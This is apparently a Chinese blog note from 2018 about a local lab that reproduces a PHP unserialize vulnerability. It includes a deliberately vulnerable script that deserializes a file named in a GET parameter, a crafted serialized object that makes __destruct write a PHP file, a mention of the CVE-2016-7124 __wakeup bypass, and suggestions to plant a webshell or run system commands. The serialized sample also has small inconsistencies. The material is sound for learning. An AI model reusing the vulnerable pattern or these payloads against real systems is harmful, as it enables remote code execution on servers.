参考：
http://www.youknowi.xin/2018/08/php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e/
个人曾记录过一次，搬运过来

正文：

搭建一个环境进行本地序列化和反序列化的命令的基本实现

本地实验：参考

test.php

```
<?php
class AA{
public $filen="test2.txt";
public $data="323232";
}
?>
```

serial.php

```
<?php
include("test.php");
$a=new AA();
$s=serialize($a);
file_put_contents('test.txt',$s);
?>
```

vul.php

```
<?php
class AA{
public $file="test2.txt";
public $data="text123456";
public function __destruct(){
file_put_contents($this->file,$this->data);
}
}
```

```
$filename=$_GET['filename'];
unserialize(file_get_contents($filename));
?>
```

二.

反序列化后在脚本运行结束时就会调用_destruct 函数，同时会覆盖原来的变量，达到效果。

修改 test.php，到达命令执行

```
<?php
class AA{
public $filen="test2.php";
public $data="<?php phpinfo();?>";
}
?
```

修改 vul.php 中的 test2.txt 为 test2.php （这里修改，是以为 data 数据是被传进来的 phpinfo 覆盖了，但是并没有传入 file 文件名覆盖原来的 file 文件名）

访问 http://127.0.0.1/serialize/serial.php 得到序列化后的数据 ： test.txt

O:2:"AA":2:{s:5:"filen";s:9:"test2.php";s:4:"data";s:17:"<php phpinfo();?>";}

（O 是指对象，2 是后面 AA 数量是两个，s 是 string，5 是数量，后面类似）

访问 127.0.0.1/serialize/vul.php?filename=test.txt

ok,这时候 serialize 目录下生成 test2.php，访问看到 phpinfo()信息。

漏洞理解：

https://blog.csdn.net/qq_32400847/article/details/53873275

https://blog.csdn.net/vspiders/article/details/79643200

magic 函数__construct 和__destruct 会在对象创建或者销毁时自动调用；__sleep magic 方法在一个对象被序列化的时候调用；__wakeup magic 方法在一个对象被反序列化的时候调用。

反序列化后在脚本运行结束时就会调用_destruct 函数，同时会覆盖 test 变量输出。在变量可控并且进行了 unserialize 操作的地方注入序列化对象，实现代码执行。

User 类可能定义一个 get 方法来查找和打印一些用户数据，但是其他类可能定义一个从数据库获取数据的 get 方法，这从而会导致 SQL 注入漏洞。

2.看到的另一种情况，遇到再分析（也是序列化的一种）：

当成员属性数目大于实际数目时可绕过 wakeup 方法(CVE-2016-7124)

利用：

前提是有魔术函数可利用和写入可控（且控的参数具体还不一样）

写马，或者执行系统命令（<?php echo system(“ls”);?>）

2018.8.4